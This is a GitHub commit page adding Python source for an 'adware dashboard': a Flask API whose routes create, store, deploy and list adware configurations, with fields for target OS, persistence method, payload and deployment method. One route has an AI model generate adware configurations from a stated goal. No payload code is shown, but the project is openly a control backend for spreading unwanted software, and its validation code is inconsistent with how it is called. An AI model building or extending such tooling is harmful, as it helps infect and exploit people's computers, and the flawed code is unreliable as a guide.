Skip to content

Commit aee40d7

Browse files
Add files via upload
1 parent f7baa84 commit aee40d7

36 files changed

+7665
-0
lines changed

src/adware_dashboard/api/routes.py

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
import logging
2+
from flask import Flask, request, jsonify
3+
from adware_dashboard.core.adware_manager import AdwareManager
4+
from adware_dashboard.core.payload_manager import PayloadManager
5+
from adware_dashboard.core.deployment_manager import DeploymentManager
6+
from adware_dashboard.core.ai_integration import AIIntegration
7+
from adware_dashboard.models import Adware, Payload, DeploymentMethod
8+
from adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
9+
from adware_dashboard.api.utils import validate_input
10+
11+
def create_api_app(logger: logging.Logger, adware_manager: AdwareManager, payload_manager: PayloadManager, deployment_manager: DeploymentManager, ai_integration: AIIntegration) -> Flask:
12+
"""
13+
Creates and configures the Flask API application.
14+
15+
Args:
16+
logger (logging.Logger): The logger instance to use.
17+
adware_manager (AdwareManager): The adware manager instance.
18+
payload_manager (PayloadManager): The payload manager instance.
19+
deployment_manager (DeploymentManager): The deployment manager instance.
20+
ai_integration (AIIntegration): The AI integration instance.
21+
22+
Returns:
23+
Flask: The configured Flask application.
24+
"""
25+
app = Flask(__name__)
26+
27+
@app.route('/adware', methods=['POST'])
28+
@validate_input(AdwareSerializer)
29+
def create_adware():
30+
"""
31+
Creates a new adware configuration.
32+
"""
33+
data = request.get_json()
34+
try:
35+
adware = adware_manager.create_adware(
36+
name=data['name'],
37+
description=data['description'],
38+
target_os=data['target_os'],
39+
persistence_method=data['persistence_method'],
40+
payload_id=data['payload_id'],
41+
deployment_method_id=data['deployment_method_id'],
42+
config=data['config']
43+
)
44+
return jsonify(AdwareSerializer.serialize(adware)), 201
45+
except ValueError as e:
46+
return jsonify({'error': str(e)}), 400
47+
48+
@app.route('/adware/<int:adware_id>', methods=['GET'])
49+
def get_adware(adware_id):
50+
"""
51+
Retrieves an adware configuration by its ID.
52+
"""
53+
adware = adware_manager.get_adware(adware_id)
54+
if adware:
55+
return jsonify(AdwareSerializer.serialize(adware)), 200
56+
return jsonify({'error': 'Adware not found'}), 404
57+
58+
@app.route('/adware/<int:adware_id>', methods=['PUT'])
59+
@validate_input(AdwareSerializer, partial=True)
60+
def update_adware(adware_id):
61+
"""
62+
Updates an existing adware configuration.
63+
"""
64+
data = request.get_json()
65+
try:
66+
adware = adware_manager.update_adware(adware_id, **data)
67+
if adware:
68+
return jsonify(AdwareSerializer.serialize(adware)), 200
69+
return jsonify({'error': 'Adware not found'}), 404
70+
except ValueError as e:
71+
return jsonify({'error': str(e)}), 400
72+
73+
@app.route('/adware/<int:adware_id>', methods=['DELETE'])
74+
def delete_adware(adware_id):
75+
"""
76+
Deletes an adware configuration by its ID.
77+
"""
78+
if adware_manager.delete_adware(adware_id):
79+
return jsonify({'message': 'Adware deleted successfully'}), 200
80+
return jsonify({'error': 'Adware not found'}), 404
81+
82+
@app.route('/adware', methods=['GET'])
83+
def list_adware():
84+
"""
85+
Lists all adware configurations.
86+
"""
87+
adware_list = adware_manager.list_adware()
88+
return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
89+
90+
@app.route('/adware/<int:adware_id>/deploy', methods=['POST'])
91+
def deploy_adware(adware_id):
92+
"""
93+
Deploys an adware configuration.
94+
"""
95+
if adware_manager.deploy_adware(adware_id):
96+
return jsonify({'message': 'Adware deployed successfully'}), 200
97+
return jsonify({'error': 'Adware not found or deployment failed'}), 404
98+
99+
@app.route('/payloads', methods=['GET'])
100+
def list_payloads():
101+
"""
102+
Lists all available payloads.
103+
"""
104+
payload_list = payload_manager.list_payloads()
105+
return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
106+
107+
@app.route('/deployment_methods', methods=['GET'])
108+
def list_deployment_methods():
109+
"""
110+
Lists all available deployment methods.
111+
"""
112+
deployment_method_list = deployment_manager.list_deployment_methods()
113+
return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
114+
115+
@app.route('/ai/generate', methods=['POST'])
116+
def generate_ai_config():
117+
"""
118+
Generates an adware configuration using the AI model.
119+
"""
120+
data = request.get_json()
121+
try:
122+
config = ai_integration.generate_adware_config(data['goal'], data.get('constraints'))
123+
return jsonify(config), 200
124+
except ValueError as e:
125+
return jsonify({'error': str(e)}), 400
126+
127+
return app
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
from typing import Dict, Any
2+
import json
3+
from adware_dashboard.models import Adware, Payload, DeploymentMethod
4+
5+
class AdwareSerializer:
6+
@staticmethod
7+
def serialize(adware: Adware) -> Dict[str, Any]:
8+
"""
9+
Serializes an Adware object to a dictionary.
10+
11+
Args:
12+
adware (Adware): The Adware object to serialize.
13+
14+
Returns:
15+
Dict[str, Any]: The serialized dictionary.
16+
"""
17+
return {
18+
'id': adware.id,
19+
'name': adware.name,
20+
'description': adware.description,
21+
'target_os': adware.target_os,
22+
'persistence_method': adware.persistence_method,
23+
'payload_id': adware.payload.id,
24+
'deployment_method_id': adware.deployment_method.id,
25+
'config': json.loads(adware.config) if adware.config else None
26+
}
27+
28+
@staticmethod
29+
def deserialize(data: Dict[str, Any]) -> Dict[str, Any]:
30+
"""
31+
Deserializes data to a dictionary suitable for creating or updating an Adware object.
32+
33+
Args:
34+
data (Dict[str, Any]): The data to deserialize.
35+
36+
Returns:
37+
Dict[str, Any]: The deserialized dictionary.
38+
"""
39+
return {
40+
'name': data.get('name'),
41+
'description': data.get('description'),
42+
'target_os': data.get('target_os'),
43+
'persistence_method': data.get('persistence_method'),
44+
'payload_id': data.get('payload_id'),
45+
'deployment_method_id': data.get('deployment_method_id'),
46+
'config': json.dumps(data.get('config')) if data.get('config') else None
47+
}
48+
49+
class PayloadSerializer:
50+
@staticmethod
51+
def serialize(payload: Payload) -> Dict[str, Any]:
52+
"""
53+
Serializes a Payload object to a dictionary.
54+
55+
Args:
56+
payload (Payload): The Payload object to serialize.
57+
58+
Returns:
59+
Dict[str, Any]: The serialized dictionary.
60+
"""
61+
return {
62+
'id': payload.id,
63+
'name': payload.name,
64+
'description': payload.description,
65+
'file_path': payload.file_path
66+
}
67+
68+
class DeploymentMethodSerializer:
69+
@staticmethod
70+
def serialize(deployment_method: DeploymentMethod) -> Dict[str, Any]:
71+
"""
72+
Serializes a DeploymentMethod object to a dictionary.
73+
74+
Args:
75+
deployment_method (DeploymentMethod): The DeploymentMethod object to serialize.
76+
77+
Returns:
78+
Dict[str, Any]: The serialized dictionary.
79+
"""
80+
return {
81+
'id': deployment_method.id,
82+
'name': deployment_method.name,
83+
'description': deployment_method.description,
84+
'config_schema': json.loads(deployment_method.config_schema) if deployment_method.config_schema else None
85+
}

src/adware_dashboard/api/utils.py

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
from functools import wraps
2+
from flask import request, jsonify
3+
from typing import Callable, Type
4+
from marshmallow import Schema, ValidationError
5+
6+
def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
7+
"""
8+
Validates the input data using a Marshmallow serializer.
9+
10+
Args:
11+
serializer (Type[Schema]): The Marshmallow serializer to use.
12+
partial (bool, optional): Whether to allow partial updates. Defaults to False.
13+
14+
Returns:
15+
Callable: The decorated function.
16+
"""
17+
def decorator(func):
18+
@wraps(func)
19+
def wrapper(*args, **kwargs):
20+
try:
21+
data = request.get_json()
22+
if not data:
23+
return jsonify({'error': 'No input data provided'}), 400
24+
deserialized_data = serializer.deserialize(data)
25+
if partial:
26+
deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
27+
request.deserialized_data = deserialized_data
28+
return func(*args, **kwargs)
29+
except ValidationError as e:
30+
return jsonify({'error': str(e)}), 400
31+
except Exception as e:
32+
return jsonify({'error': 'Invalid input data'}), 400
33+
return wrapper
34+
return decorator

0 commit comments

Comments
 (0)